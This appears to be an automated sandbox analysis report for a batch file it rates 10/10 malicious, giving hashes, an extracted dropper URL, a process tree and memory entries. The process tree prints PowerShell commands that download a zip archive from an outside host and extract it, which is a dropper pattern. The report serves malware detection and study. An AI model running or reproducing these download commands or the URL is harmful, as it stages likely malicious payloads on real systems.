Analysis

  • max time kernel
    1s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/10/2023, 15:14

General

  • Target

    tesy - Copy (14).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
        PID:3128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
        2⤵
          PID:4872

      Network

            MITRE ATT&CK Matrix

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_duqb2tuu.asp.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/3128-7-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

              Filesize

              10.8MB

            • memory/3128-6-0x0000026376FD0000-0x0000026376FF2000-memory.dmp

              Filesize

              136KB

            • memory/3128-11-0x0000026374E50000-0x0000026374E60000-memory.dmp

              Filesize

              64KB

            • memory/3128-12-0x0000026374E50000-0x0000026374E60000-memory.dmp

              Filesize

              64KB

            • memory/3128-13-0x0000026374E50000-0x0000026374E60000-memory.dmp

              Filesize

              64KB

            • memory/3128-17-0x00007FFD6D8E0000-0x00007FFD6E3A1000-memory.dmp

              Filesize

              10.8MB